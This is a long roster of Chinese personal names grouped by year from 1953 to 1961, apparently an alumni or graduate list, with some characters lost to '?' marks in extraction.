曹洁云 曹锦康 梁彩凤 梅玉芝 梅良德 梅振武 盛今蕙 盛树珖 盛祖杰 盛斯琦 盛嘉楠 章美华 章福林 萧志蕙 萧金英 黄蕙 黄凤飞 黄天虬 黄月珍 黄克仁 黄甫基 黄性懿 黄承楣 黄舜琴 黄锦林 黄嘉亮 黄德炎 龚明敏 龚善勤 龚漱玉 傅美英 傅维康 傅德恽 彭承训 彭庭芳 彭淑觉 彭静媛 曾乃珊 温岗 焦 昆 程筱芬 舒明炎 葛步云 葛贤锡 葛瑞祥 董为伟 董美然 董爽桂 蒋全斌 蒋式时 蒋孝勇 蒋秀贞 蒋星峰 蒋家桢 蒋敏青 谢聖金 韩修岐 鲁佩芬 楼翠英 蓝士熊 詹基 赖慰萱 途学? 廖碧珠 臧 科 臧美孚 蔡白 蔡成机 蔡亭亭 蔡鹤群 裴永恩 潘纪辛 潘梅芳 稽绵绵 薛成初 薛 芷 薛馥兰 戴光寿戴克戎 濮慧珍 1953年 丁寿安 丁明伟 刁佩良 马聖清 孔昭艾 尹伊由 尹家宁 尹惠华 戈介寿 佩 维 毛秀月 毛维翰 水新鸿 王人任 王 义 王汉标 王 伙 王光霞 王吉宝 王志果 王诒德 王侠生 王宗根 王建同 王泰来 王雪芬 王惠芹 王德强 王慰年 邓伟吾 丘应培 乐嘉正 冯天琪 冯宝健 冯 珂 冯秋媛 史久华 史 浩 叶世德 叶约翰 叶 哿 左嘉因 艾忠英 乔 敏 任德澍 任灏远 闭美珍 刘庆华 刘佩莉 刘佩萸 刘其铭 刘炳奎 刘继芬 刘福生 刘毓华 刘禧义 华梦蘭 孙立理 孙亦新 孙庆愷 孙国钧 孙祥效 孙理炎 孙慧芳 安保伩 延汝谦 朱双珠 朱长凱 朱任东 朱 浔 朱惠人 朱滋洪 朱裕庭 朱福根 朱慧宝 朱慰祺 毕爱芳 江云玲 江慧儿 汤良熙 汤济生 许杏林 许福熙 过怀慈 邬亦贤 齐绍康 严志林 严敬明 何丽芳 何芳德 何祚祐 何耀林 佟润鸾 劳如玉 吴万令 吴中匡 吴玉丽 吴兆敏 吴 实 吴保昌 吴家骅 吴堃达 张一楚 张文斌 张长春 张立民 张光健 张如兰 张庆官 张有望 张竹英 张佐良 张志林 张法听 张英先 张钖珍 张维珊 张瑟琳 张嘉麟 张德仁 张德星 怀仁麟 时安得 李中华 李开太 李长恒 李召华 李廷瑶 李有才 李明真 李治中 李宣德 李树? 李树爱 李济晟 李祖熙 李科成 李啟英 李 凱 李舜伟 李麟嘉 杨志良 杨忠兴 杨 康 杨涵影 杨锦明 汪以信 汪娟文 汪淑坦 汪曾梅 沈世伟 沈立琳 沈光乾 沈剑鸣 沈馨亚 芮士演 苏 明 邱永贵 邱浩文 陆重志 陆才力 陆伟英 陈云青 陈兆德 陈均銮 陈宝根 陈治平 陈鸣皋 陈荣文 陈梅令 陈渊明 陈焕章 周礼荣 周南桥 周惠珍 周嘉行 周澄珠 尚功国 崇 慰 林元珠 林 凤 林茂用 林南歆 林淑金 林维瑛 林善锬 罗邦国 范济堂 郑列之 郑师禹 郑沛枢 郑良娟 郑宝根 郑珏珏 郑淑蓉 郑逸冰 郑慧玲 俞佩蓉 姚佩佩 姚治璠 姚粹华 姚德华 姜秀芳 姜芸珍 姜学义 姜 榴 施云程 柳恕中 柳腾贵 洪亚漾 洪鹤群 胡一麟 胡云荣 幼 麟 赵善仁 赵鲁西 赵德新 项坤三 倪盛瑛 原孝嘉 唐文华 唐兴旺 唐惟瑜 唐淑君 唐鸿珊 唐 曙 夏和庆 徐从德 徐伟彪 徐庆基 徐有秋 徐君镛 徐志卿 徐 参 徐学仁 徐建忠 徐济成 徐 馨 殷汝桂 秦万章 耿 伟 耿秋临 莊心良 莊良美 莊淼苡 叙人康 讲家麟 贾明德 郭肇姮 顾为雄 顾双斐 顾绍裘 顾金罕 顾铁民 高丽丽 高振琨 崔庆礼 崔闻华 康克非 戚卫中 曹克裁 梁 明 梁敏娆 梁雄基 梅旭瞿 盛如佩 萧清俊 黄文熙 黄至川 黄寿龙 黄帼英 黄锦文 傅沛? 储合荣 彭连超 程双炳 程兆明 程 瑛 童文秋 葛日萍 葛冠英 葛德俊 蒋朱明 蒋知节 蒋啟元 谢宗瑞 谢基立 谢雅英 谢慧芬 董其刚 鄒嶺春 楼焕寅 虞顺昌 雷蕙丽 鲍约瑟 鲍剑辉 蔡迺真 蔡察生 樊绍曾 潘殲仇 潘文奎 潘纪戒 穆 英 穆 斌 霍大才 戴文英 矍美钧 1954年 丁卓越 丁民谋 丁训英 丁伯龙 刁文魁 万胜椿 于海宁 于傅鑫 马荣显 马祥文 马清钧 支正平 方秀琴 方 達 毛若蓉 毛履琰 王 洪 王一宁 王正森 王玉凤 王在华 王丽菁 王苏云 王国正 王宝熙 王 岱 王承美 王承琪 王昌艺 王诚忠 王威颖 王美琪 王啸湘 王曼琳 王梦瑶 王善清 王鼎沅 王新生 王筱云 王锦浦 王穗芬 王耀宗 邓玉莲 邓芝福 邓利生 乐景浩 乐雅令 冯仰俯 冯 梅 冯勤清 冯德民 卢 仪 卢玉兰 卢炳辉 卢 珊 叶于聪 叶元苏 叶世会 叶家鹤 叶 憨 甘兴美 田芸挺 申兆聪 石成华 石佩芝 朿怀德 乔增木 任朴安 任望达 伍美月 刘 义 刘天赐 刘世杰 刘可芳 刘厚钰 刘美华 刘爱琳 刘素玲 刘崇生 刘梅玲 华宝雅 华炳春 华凌云 吕克明 吕 雋 吕善庆 孙方琛 孙月丽 孙亦? 孙恪遵 孙瑞钰 庄德润 朱元根 朱文玉 朱文炳 朱世伟 朱世能 朱永明 朱亦梅 朱运铨 朱宗益 朱柏君 朱炳炎 朱钦霞 朱祥麟 江诚椿 江渭清 汤式京 汤克强 汤国基 汤铭 纪宝宏 许以丽 许尔孝 许秀兰 许苏民 许其诚 许明德 许豪文 许德金 许璧华 邬镇邦 厉布帆 何进兴 何異人 何雪鸿 何敦诚 余永真 余美祺 余晓秋 筱 华 吴禄蘋 吴玉煊 吴兆求 吴汗英 吴罕利 吴国瑛 吴宗舜 吴秀美 吴厚生 吴树强 吴振云 吴新民 宋后燕 宋颖清 宋翠玉 应学辉 应啟义 张才明 张兰亭 张必循 张白蒂 张立群 张宇鸣 张权一 张寿林 张国维 张学忠 张明惠 张明路 张树栋 张洁如 张涉铬 张爱娟 张积熙 张雅娣 张瑞钧 张群英 张碧辉 张静芳 张韶华 张瓖美 时彼得 李也白 李守义 李守初 李丽 李 志 李秋芳 李钧 李家梁 李展唐 李铎 李潇 李韶敏 杨一峰 杨筑忠 杨育榥 杨茂材 杨虎生 杨玲 杨浩俊 杨钰华 杨超元 杨锜 杨德英 杨蕊敏 杨黎明 汪仁江 汪公亮 汪宁 汪克定 汪沄 汪定恕 汪恩定 汪积惠 沈大瑜 沈立美 沈君文 沈承濓 沈洁身 沈彩兰 沈菊芳 沈铭昌 沈敬一 沈季鑫 沈蓉芳 沈德芳 肖佐威 肖梦云 苏汀山 辛定一 邱经权 邱世诚 邱孝芝 邱振武 邱路志 陆凤鸣 陆本鸿 陆洁如 陆祖淑 陆梅卿 陆增愚 陆履珮 陈九如 陈之夏 陈世珍 陈汉京 陈兆娟 陈有槑 陈志超 陈复活 陈尚網 陈堯南 陈明 陈绍英 陈范元 陈诚炜 陈金元 陈青萍 陈钦铭 陈特 陈高羲 陈敏文 陈梁鸿 盘 发 陈瑜 陈碧霞 陈静珍 陈德广 周子文 周文瑛 周月文 周汉良 周亚丽 周宏江 周连荣 周和琴 周性兰 周绍昌 周钦宗 周理谦 周绪春 季忍燕 季志雄 宓哲伟 宗可 宗维恕 林兴华 林守诚 林克健 林芷英 林其珊 林其谁 林其燧 林修华 林果为 林树候 林珍良 林维绍 碧 娟 林露露 欧国藩 罗绪皋 范宁 范菊英 范露佩 茅士雷 郑佳瑾 郑荣贵 郑梅纹 郑颐 郑履康 郑德联 金一涛 金世镇 金伟亮 金闳 金绍国 金恩琪 金振家 金崇瑜 金理华 金勤立 鱼际平 俞仲炜 俞麦生 俞育飞 姚文亮 姚公理 姚炘 姚津珠 姚泰 姚淑德 姚景莉 姜仪芳 姜北川 姜家豫 姜毅民 捐赠民 施?珠 施慧芳 柯金陵 柳和培 洪用铨 洪滌因 祝健 胡大忠 胡麦? 胡孟冬 胡宝华 胡承坚 胡明志 胡柄德 荣敏 费亚新 赵太华 赵汝洪 赵常建 赵鸿儒 赵登泰 项宗润 候和德 倪剑秋 倪新瑜 唐令诠 唐西蒙 唐昌綺 唐姚珍 唐健明 唐祥呈 唐琦 唐镇生 唐璧如 夏德懋 徐乃昌 徐公治 徐天柱 徐民康 徐汉明 徐立莊 徐华民 徐安石 徐志康 徐洪慈 徐家旭 徐家麟 徐雪瑛 徐雪璋 殷宗尧 秦君瑜 秦宗堯 秦宗耀 耿宽浩 莊依亮 袁生华 袁陈敬 袁培明 诸琳 诸兆虎 路大文 叙志秋 路猗 贾永德 贾连旺 贾保祥 郭伟美 郭学勤 钱天维 钱国鳌 钱尚言 钱若兰 钱重光 钱惟成 钱熙国 陶大器 陶寿熙 陶海芳 陶楚南 顾牛範 顾正余 顾佳麟 顾群 顾瑨 顾静安 高庲德 通行? 高尔玲 高弘泽 高连根 深邃崙 高振华 高崇玄 高祺民 商英鄂 屠逸君 屠瑞 常问梅 曹国扬 曹福崇 盛铁仁 盛锦云 萧嘉瑛 隋兆英 黄一麟 黄冯玲 黄伟民 黄志钧 黄建平 黄桂余 黄敏丽 黄聖学 黄慧娟 储中一 嵇乐岁 彭荣松 彭振河 惠清楚 曾丽英 曾亨钰 温敬中 禇黛丽 程锭贞 葛月华 董铭 蒋君夷 蒋纯瑞 蒋炜玉 蒋振斌 蒋豪 蒋增华 韩燕 裘福春 詹子华 鲍贤琛 鲍梦麟 熊同舒 缪澄宇 翟笃印 裴蔚云 潘光孚 潘孝仁 潘承原 潘银英 颜克坚 薛纪才 戴伦 戴寿芝 戴贵禾 戴晓逵 1955年 丁子文 丁茂平 丁鸿钧 丁懿萱 刁金陵 卜乃秋 于建国 马盛龙 马博英 戴中强 戴国钧 戴梅竞 孔文琴 孔宪儒 孔德源 尤胜国 方文仙 方玉华 方 丽 王子健 王元和 王月娥 王永华 王永雁 王亚兰 王仲琪 王 华 王安安 王体宏 王秀玉 王佩德 王金球 王树蕙 王祖武 王振宇 王晓苓 王海燕 王康安 王朝宏 王登三 王 鲁 王 靖 邓 杰 邓 健 冯宝鑫 冯焕民 冯慧新 卢立焕 卢淑文 卢富基 卢翠珍 卢慧丽 史丽丽 叶克龙 叶顺章 左焕琛 田 农 白小云 白松恩 石润德 艾钢阳 乔根梅 任翰华 刘于洋 刘小峰 刘天砚 刘以勇 刘永良 刘 成 刘国仗 刘 杭 刘泳朱 刘述先 刘金洲 刘 珂 刘恩民 刘淑珍 刘 霞 匡瀚人 华尔铨 华 瑞 印心奇 吉佩川 孙广慈 孙占梅 孙庆煌 孙学康 孙迪安 孙 祥 孙梅芳 孙雅青 孙福麟 孙耀昌 庄群芬 朱永洪 朱尧斗 朱邦瀚 朱利相 朱志忠 朱绍文 朱家庸 朱家麟 朱积川 朱维钦 朱菊林 朱银南 朱 渝 朱雍然 朱碧梧 毕晓峰 江 瑜 江德胜 池振岳 许凤娣 许文基 许国忠 许国铭 许金辉 许美丰 许瑞珍 许增瑶 邬国渠 邬嘉生 阮薇琴 何性祥 何培芬 何梅先 何惠娟 余文海 余模松 吴文采 吴兴华 吴有根 吴志清 吴迺川 吴 真 吴能定 吴基成 吴鸿勋 吴肇汉 宋字谜 宋玉华 宋玉瑶 宋琍琍 宋冠英 张万溥 张文康 张永纯 张玉琴 张生昌 张全康 张丽英 张伯超 张利民 张志玉 张志芳 张国兆 张国良 张国威 张承德 张树溱 张祖颐 张美真 张 健 张婴元 张敏华 张敏昌 张鸿义 张新根 时毓民 李文琦 李玉珠 李庆天 李伯英 李孝基 李秀云 李组卿 李绍祖 李 亮 李树仁 李炽华 李秋生 李盛昌 李提多 李微? 李椿山 李璆玑 李耀礼 杜月芳 杜炎昇 杜洪仪 杜 福 来锦明 杨正时 杨伟伦 杨祁兴 杨秉辉 杨继华 杨涵铭 杨清梧 杨 綮 杨德燕 汪传芬 汪金福 汪 震 沈文虎 沈丽明 沈奋之 沈炎民 沙泉娟 花俊生 邱丽卿 邵舜华 闵 沪 闵碧荷 陆志英 陆苏英 陆 英 陈大慈 陈云亭 陈文秀 陈必生 陈永生 陈永荣 陈兴保 陈如坤 陈丽娟 陈启信 陈佩芳 陈树立 陈 明 陈英男 陈剑清 陈宪虎 陈荣山 陈 逸 陈鸿义 陈斌朝 陈智周 陈路恕 陈路莅 卓观湛 周万鑫 周月庆 周廷魁 周达生 周国宝 周国维 周明仁 周俊南 周 柱 周美惠 周钟鸣 周海源 周维贤 周琴慧 季正伦 岳晓玉 杭长命 杭荣椿 林中珉 林开岩 林世杰 林如涛 林伯隆 林秀华 林修昆 林品官 林炳桐 林 贵 林钟枢 林顺湘 林祥通 林祥辉 林清汀 林裕政 林鹏飞 林璇瑶 欧阳玲 罗化生 罗文侗 罗道天 罗福堂 范若兰 郁士浩 郑为尧 郑若同 郑家润 郑 涟 郑康毛 郑惠明 郑惠明 郑锡文 金克箕 金好汉 金惠铭 侯 荣 侯馨得 俞永达 俞 萍 勇国良 姚才良 姚邦源 姚芷芳 姚晓平 姜凤鸿 姜廷良 姜平安 娄玲珠 宦彭成 施圣一 施全庆 施学辉 施 政 柏汉堂 柯贤坎 洪来仪 祝正祥 胡伟如 胡师道 胡庆文 胡希先 胡树德 胡梦娟 胡蟾芬 荣明之 赵丰曾 赵汉良 赵笃庆 赵庶忠 赵敏顺 赵 硕 赵鑫如 钟开浪 钟 榆 骆成榆 倪坛? 倪希如 凌雪芳 唐伟松 唐伯新 唐孟尧 唐涌志 唐盛孟 夏志伟 夏宝凤 夏绍源 徐公富 徐俊冕 徐冠南 徐政轩 徐根明 徐桂芝 徐梦珠 徐敬邦 徐瑞兴 徐慧玲 徐霞莲 徐耀芳 浦元清 翁心华 莫善兢 袁国娟 袁弥满 诸仁远 列位龙 途更加 郭正庭 郭俊民 郭冀珍 钱希来 钱松溪 钱慧琴 陶家骅 陶腾霄 顾凤声 顾正明 顾立铭 顾光宙 顾全明 顾培丽 高寿松 高济万 高桂英 屠 岳 屠德华 崔莲仙 崔萃英 戚忠兴 曹 ? 曹元棋 曹仲雨 曹海根 曹培英 梁瑞华 盛文龙 盛金妹 菅正珏 阎文贞 黄 华 黄华瑞 黄聿彬 黄孟仙 黄想君 黄炎轩 黄钦香 黄钦铭 黄慧芬 黄璜兴 龚一凤 龚训良 龚梓初 储伯松 储榆林 温培基 焦东海 程天性 程文英 程庆芳 程景锵 童衍庆 童萃文 董伟? 董萃文 蒋筑英 蒋家? 谢德秋 谢慧敏 韩企夏 韩罗意 韩清安 腾淑安 蓝章达 詹蓉洲 鲍家驹 廖崇先 熊立民 熊启华 缪英芳 翟伟鸣 蔡季林 蔡琴芳 潘光线 潘守真 潘孝章 潘姜萍 潘德伟 颜志华 颜燮山 1958年 丁以斌 丁亚琴 丁荣定 于亢笛 山根兴 马文豪 马纪法 马渝强 马瑾瑜 仇德惠 孔令元 毛美珣 王 敬 王静 王友生 王正大 王世纮 王闭荣 王启文 王声本 王杏娥 王灵台 王修祥 王承珏 王者碗 王金龙 王金贵 王受益 王洪珍 王振霄 王祥钦 王梦麟 王淑贞 王渊声 王惠芬 王斐露 王谦福 王福淇 王聖忠 王蓉洲 王静刚 王德四 王德镛 王慧英 车春生 邓景德 乐俊仪 付自远 兰凤英 冯炳城 冯蕴玲 包吉庭 包雪英 卢天民 史 嶧 史国芳 叶景萍 司云俊 田芬妹 田佩玉 石钟秀 石新华 乔文龙 乔炳同 任佩天 刘云华 刘仁珠 刘凤旭 刘古霁 刘守叶 刘定华 刘咸璋 刘洪奎 刘雅英 刘雅鸿 刘毓生 华棣海 孙涛 孙义兴 孙作桢 孙金法 孙玲珠 孙曼虹 戎卫海 朱 丹 朱万祥 朱元述 朱文玲 朱日兴 朱永芬 朱仲章 朱关根 朱成林 朱伯卿 朱佩英 朱复润 朱济众 朱荷根 朱惠如 朱毓德 朱璞瑛 江圣杨 江澄川 池慧贞 汤克仁 汤惠芳 汤颖川 汤德芸 纪连丁 许 敏 许兆才 许善真 许景林 许温荘 严月华 严佩华 严惠琴 何祖梁 余光辉 余志援 佟桂平 励正康 吴长根 吴玉珍 吴良洪 吴际鸣 吴炳耀 吴家芸 吴敏明 吴紫影 吴韻芳 张 仁 张元芳 张世成 张冬耕 张玉祥 张妙法 张志明 张秀英 张国玲 张学和 张宝兴 张宝娣 张思敬 张想源 张倩倩 张家范 张祥云 张培福 张跃琴 张善身 张惠兰 张惠芬 张雅珍 张新根 张瑞琪 张静波 张慧英 忻惠民 李 光 李 红 李 琳 李静 李仁福 李文忠 李文煜 李国祥 李学明 李贤春 李炳鑫 李相端 李家范 李铨生 李铭龙 李瑞香 李福祥 杜巧如 杨广蟾 杨玉燕 杨学华 杨承栋 杨振全 杨淑青 杨雄里 杨赛梅 汪守中 汪家禄 沈 影 沈天贞 沈龙珠 沈孝恩 沈良能 沈奋怡 沈兴盛 沈鼎芳 沈新礼 花天放 邱予荣 邱开滋 邱预荣 邵元麟 邵地华 陆召麟 陆权素 陆修民 陆松泉 陆瑞珍 陈 新 陈?想 陈广宣 陈仁浩 陈文端 陈水娟 陈由芝 陈丽心 陈希宝 陈宝康 陈育范 陈育钰 陈金介 陈金坝 陈金森 陈祖望 陈统岳 陈娟娟 陈喜兴 陈福康 陈锦云 陈耀坤 单渊东 单越芬 周丹风 周文宝 周方成 周兆年 周兴达 周丽霞 周财明 周佩英 周筑国 周忠夏 周冠汉 周科能 周润禄 周陶锟 周福源 周韵秋 居喜娟 林永华 林坛禄 林育奇 林钖明 林瑞兰 欧时宇 罗文华 罗林辉 范存屏 茅合福 郑小琴 郑师方 郑克勇 郑秀玉 郑忠汉 郑恒颖 郑振庆 郑惠英 金祖余 俞甦 俞文鸿 俞全兴 俞全福 俞丽云 俞宝田 俞海沄 姚山根 姚冬麟 姚守为 姚国楞 姜楞 姜慧珠 柯翠菊 洪南康 胡功华 胡本顺 胡纯心 胡良庆 胡国贤 胡宝琏 胡兹嘉 胡冠娟 贺贤年 赵书荣 赵仲华 赵伟鹏 赵宝庆 赵贤湘 赵衍曾 赵淑英 项美弟 项斯玲 项韻楠 骆知俭 倪芷芳 倪银风 凌龙生 凌蓓蒂 唐一鹏 唐美英 唐慧君 唐露芳 夏仁 夏佩珠 夏隆庆 奚良葆 席正 徐 越 徐义泉 徐小珍 徐正福 徐石新 徐龙昌 徐龙瑛 徐兆宗 徐丽英 徐麦玲 徐国镇 徐忠义 徐金媛 徐星弟 殷敬芝 秦月秋 秦永年 聂坛溶 道永基 郭躬太 郭铨青 钱会勤 钱国枫 钱曾贤 钱耀贤 顾 华 顾文德 顾正淇 顾沛流 顾国栋 高汉臣 高志华 高奇伟 高金海 高临惠 高凌瑞 高敏音 高维汉 常铃 曹孝瑜 曹燕兰 曹韻贞 梁 仁 梁春泉 梁震纲 梅途云 盛民立 章宜南 章斌采 谌志凤 黄公怡 黄月琴 黄玉霏 黄仲棠 黄仲祺 黄克家 黄诗春 黄钖春 黄树仁 黄荥美 黄益兴 黄惠珍 傅其黎 彭玉德 彭皎如 曾庆华 程学敏 程钖元 程维朝 程嘉祥 葛汝珍 葛金发 董保瑞 董华雯 董宏法 董洁英 蒋任伩 谢芝琴 谢英奎 谢英奎 谢莉蓉 阙绪光 靳明兴 廖 华 廖康煌 管珩 蔡天柱 蔡仕林 蔡正英 蔡明德 蔡晓青 蔡滋长 蔡瑞宝 谭梓 樊兆昇 樊志胜 潘仲蔚 潘家仁 潘梅莲 亷养德 颜寿祺 薛铭 薛仁祥 薛碧英 戴松林濮静华 魏林发 瞿寿根 瞿美秋 1959年 丁家济 刁振东 于国政 于爱华 卫行琦 卫如琪 干麟芳 马健宏 马桂芳 孔今城 方卫华 方宗仁 方祖福 方通宝 方懋忠 毛志南 王崇顺 王凤英 王世侠 王丽娟 王宏璋 王国光 王国良 王明善 王述静 王俊德 王炳生 王荥昇 王顺仙 王曼萍 王雪芹 王德芬 王慧珠 王潞依 邓奋刚 乐玉龙 傅志君 冯 炎 包贞贞 叶铬和 叶德荫 司广美 司徒薇 田树敏 田敖龙 田润梅 申功恩 石堯忠 乔妙根 任可达 刘才栋 刘永昌 刘仰璇 刘邦令 刘伯华 刘怀印 刘 明 刘泽玲 刘思良 刘胜恩 刘 瑛 刘德安 匡达彪 华南国 华菊玲 吕玉凤 孙怀瑾 孙盛洪 孙途开 朱双庆 朱世楼 朱佩珍 朱雪敏 朱瑞春 江之华 汤保璋 许永德 许玉成 许越香 许瑞章 邬伟秀 闫靖中 何朔风 何还珠 何佩贞 何 偉 何创新 佟桂平 吴心兰 吴世信 吴兆龙 吴成玺 吴国进 吴国雄 吴恒敏 吴素娣 宋修达 宋家玟 岑国仁 张永康 张兆弟 张先有 张汝勇 张连生 张国良 张俊德 张树丛 张珏华 张轶斌 张沉华 张家庆 张家钰 张振谦 张根谦 张莉君 张添俊 张敦华 张德义 张霞芳 忻惠民 李九仙 李龙芸 李竹君 李伶洁 李国健 李国维 李诚实 李金贵 李炳章 李钦康 李爱芝 李 萍 李新明 杨士骐 杨文蔚 杨耒春 杨杏妹 杨恩赐 杨莲芳 杨毓兴 汪良骏 汪 楣 沈姳玥 沈培嘉 沈瑞琴 沈毓标 沙小倩 苏昌祺 迟家敏 邱隆芳 邱德凱 陆鳯莺 陆秀珍 陆国生 陆美隆 陆费汉倩 陈 榕 陈世玻 陈世铭 陈丽莉 陈伯飞 陈治平 陈祖英 陈钦元 陈顺荣 陈铁民 陈盛铭 陈维诚 陈银媛 陈惠清 陈琮琪 陈福真 陈德卿 单金宝 单念清 泾 浩 周小寒 周方强 周正威 周先楷 周良铺 周怡和 周泽浜 周泽涞 周康荣 周菊荪 周敬慧 周德义 房在良 林 中 林伊娃 林 淳 罗水清 罗耒华 罗展玉 罗通平 罗德基 范文盛 范雪华 郑天心 郑沐生 郑宗昌 郑宜甫 金枟光 金文华 金自孟 金杏泉 金岫云 金菲莉 金鹤天 俞佩莉 姚敏华 施守康 施持琴 施浩然 柳寿明 洪国珍 洪钖祥 洪梅儿 禹士玉 胡天讷 胡华成 胡慧芳 荘小萍 荘清萍 赵龙海 赵关林 赵守康 赵忠桢 赵贤明 赵钦连 赵媚媚 倪同祥 倪良华 倪路明 唐一声 唐筑业 唐 馨 夏梅嗔 徐子渔 徐志平 徐筑雄 徐振新 徐素梅 徐维刚 徐新元 徐露美 柴家栋 秦士兴 秦治平 翁孟武 袁正波 袁成龙 袁经国 贾万鑫 郭峯 郭云鹤 郭慕依 顾世芬 顾裕国 顾锦梦 顾 瑾 高连永 高俊鹏 屠月卿 崔锦章 康泰赛 曹世龙 梁庆钧 梁红妹 梁桂仁 梁维强 盛一芳 盛瑞媛 章秉良 符诗高 萧美蓉 黄正东 黄再玉 黄有常 黄佳温 黄修生 黄金添 黄显奋 黄维民 黄善棣 黄锦湫 黄德骧 龚茜玲 傅秀兰 傅金妹 傅梅君 傅慈熹 彭涵泮 曾庆禄 曾福金 程梅芬 韩志明 董文龙 董步高 童永年 童静娴 蒋贝子 蒋以山 蒋明成 蒋雨平 蒋赛华 谢永明 蒯慧玉 虞家龙 鲍云华 鲍德国 廖进宝 廖秋龙 蔡幼德 蔡伊梅 蔡则骥 蔡廼绳 蔡顺弟 谭惠蓉 潘义信 潘文生 潘纪涛 潘国璋 潘明晰 潘耀超 颜志卫 薛林英 戴佩蒂 1960年 丁清朗 万月娥 万有才 马一鸣 马小驾 马秋月 卞锦莉 尹云道 方幼明 方如玉 方珍珠 方雄杰 王小平 王小英 王丰穠 王凤彪 王幼娟 王如芳 王自孝 王丽南 王克强 王国光 王岫英 王承新 王玫华 王英臣 王金娣 王受金 王祖慰 王美玲 王爱铬 王彩宝 王彩琴 王遵玉 付明光 古达光 史慧玲 叶冰心 叶菊娟 甘桂英 甘意鑑 田深根 白隆懋 边 伦 伏彩仪 刘开评 刘玉珍 刘训海 刘奔度 刘 挺 刘振英 刘晓初 匡达彪 华月英 华南国 华智元 印玉兰 吉秀英 孙友余 孙文敏 孙羽辰 孙芷琴 孙美珍 孙家骥 孙福洪 孙毓玲 朱连城 朱佩珍 朱国敏 朱昌玲 朱松林 朱金林 朱幽嫣 朱祖蓓 朱梅娣 朱焕生 朱湘洲 江玉庭 汤鍚龙 牟正春 许 冰 邢燮妹 何业勤 何运鈺 何培根 何 淑 余赛珍 吴丽莉 吴步芳 吴武松 吴品霞 吴 玲 吴 莹 应永祥 应亚芬 张文英 张文美 张永乐 张永妹 张永信 张 立 张光金 张君玮 张鸣科 张春生 张觉民 张晟爱 张梅芬 张理晓 张雪庆 张满娣 张蕴仙 张震坤 张燕銮 李云开 李月仙 李玉兰 李传义 李丽英 李国斌 李明祚 李奕斌 李洪琛 李祖尧 李钟瑞 李健华 李敏志 李铨生 李琪贞 李新明 李瑞珠 李翠金 李藕英 杨文英 杨国杰 杨奇芳 杨茂正 杨恩溥 杨素琴 杨啓清 杨淑芳 杨银保 杨锦端 步菊芳 汪雨生 汪楚英 沈之为 沈文丽 沈龙芳 沈其昀 沈国桢 沈宗英 沈荣根 沈香琴 沈章樨 沈福民 肖月风 苏丽娜 苏秉芬 苏柳根 苏健桂 邵幼君 邵连云 邵斐诚 陆中承 陆仁德 陆平安 陆金珍 陆盘根 陆锦昆 陆肇涛 陆鹤优 陈士英 陈凤棲 陈世鸰 陈叩华 陈玉梅 陈关林 陈自芬 陈伯良 陈君万 陈志强 陈佩之 陈佩琍 陈松年 陈雨石 陈振文 陈桂华 陈益顺 陈惠华 陈惠媛 陈瑞华 陈福安 陈蓝田 麦养量 周尔琪 周幼雯 周龙兴 周龙媖 周志康 周剑萍 周洛依 周美娟 周美智 周润禄 周继喜 周银妹 周 琪 周福海 周嫦琦 居仲素 居耀楣 杭维亮 林灿云 林其健 林炳灯 林梅芬 林 强 罗少华 罗定生 罗桃香 范永文 茅鈺文 郑小凌 金永寿 金龙兴 金亚芳 金同婵 金宝根 金 敏 俞美珍 俞経农 俞雅琴 俞福恩 姚金仁 姚新民 姚翠玲 姜杏发 姜秀芳 姜健华 施克忠 柳铁汉 段筱琴 洪兴中 洪赛芳 胡 敏 荘月娥 荘世珍 贺全清 赵如盛 赵德坤 郝玉芳 郝健侬 钟秀清 倪永生 倪克明 凌守珍 唐月秀 唐余皋 夏义祥 夏金娣 容秀仪 徐大生 徐川荣 徐玉田 徐玉珍 徐伩渔 徐存鼎 徐芳香 徐金珍 徐冠单 徐闺浓 徐桂芬 徐 梅 徐 超 徐慧霞 徐霞美 柴宏发 栾金逹 秦素英 耿小宝 耿民新 袁倩英 讲坚明 钱玉林 钱如伟 钱美蕊 钱翔泳 钱锦六 陶凤武 顾其谌 顾学明 顾金华 顾培源 高玉兰 高金珠 高俊鹏 高 敏 屠一强 屠巡成 崔可浩 崔想松 巢正林 康无思 康德昌 曹钦秀 梁凤珍 梁坤发 梁瑞莺 梅长华 梅慕诚 章开俊 萧子顺 黄少媚 黄兰珍 黄庆春 黄志坚 黄志裕 黄雅玉 黄腾运 黄德川 黄慧芳 龚馨益 傅 极 傅 奇 富士荣 曾广旭 曾苏瀌 曾育安 游振英 程凤鸣 程渭清 董金锁 蒋雪凡 谢文琪 辜文荣 鲁荣绥 虞若士 詹金琳 鄢慧中 態仲群 管金发 管菊华 管镜耀 蔡中福 蔡丽华 蔡宝玲 蔡鸿玉 蔡紫英 潘水源 潘玉琴 潘迠烨 颜兆华 薛传玉 薛贞国 薛泉棣 戴宗法 戴炳富 戴福祥 魏守义1961年 丁 正 丁妙珍 丁美明 丁效斌 于维宇 卫志华 马如亨 尹圣光 方凤琪 方言珠 方松光 毛兴敏 毛克坤 王一冲 王三媛 王士德 王允康 王传孝 王吉耀 王启华 王姒音 王应华 王佩文 王岫英 王修华 王治华 王敏齐 王 跃 王惠英 王琳囡 王锦文 王德传 王 鲲 王耀华 邓秀森 韦体全 乐嘉惠 冯 白 冯许昌 冯和贵 冯奉仪 冯源江 卢华婷 卢炳康 叶诸榕 叶银财 叶鸿初 艾文鈺 任小佩 任正芳 任财鸿 任德华 刘文秀 刘平云 刘丽华 刘运礼 刘远谋 刘定益 刘昌绪 刘绍斌 刘彦明 刘星辉 刘炳鑫 刘相芬 刘美忠 刘颂华 华菊芳 华 静 印家麟 吕纯渠 吕珍珍 吕爱玲 吕 蕊 孙?沂 孙大卫 孙云龙 孙月睲 孙丽青 孙芬娣 孙连琴 孙国平 孙诗耒 庄小妹 朱小农 朱天庠 朱全珍 朱克美 朱明莹 朱 骅 朱展猷 朱振祥 朱淑兰 朱蓓珊 朱德生 朱慧娥 朱競芬 江瑜琦 汤素文 许兆麒 许怀忠 许和进 许林玉 许根发 邢兆鏞 邢良特 厉万萍 严承铨 厉欣德 严爱珍 严爱珍 何再禄 何基德 何蕙梅 吴义平 吴大义 吴开俊 吴兰芳 吴玉麟 吴兆儒 吴光煜 吴岳洲 吴俊人 吴家瑞 吴彬如 吴福章 宋伟雄 宋华芳 应宝生 张友娴 张木泉 张宁玲 张必杰 张永清 张龙庆 张光英 张光美 张启宇 张芬琴 张运福 张佩鸣 张 姀 张宝根 张建中 张 钧 张倍蕾 张彩珍 张敏德 张菊年 张 琴 张蓓安 张德印 张德余 张璧妮 李文如 李 玉 李秀岩 李忠仁 李明菊 李树华 李美芬 李娥珍 李途至 李慧珠 李震义 杜竹亭 杨守谦 杨芳泉 杨浓怡 杨秋英 杨健芳 杨舜武 杨瑞平 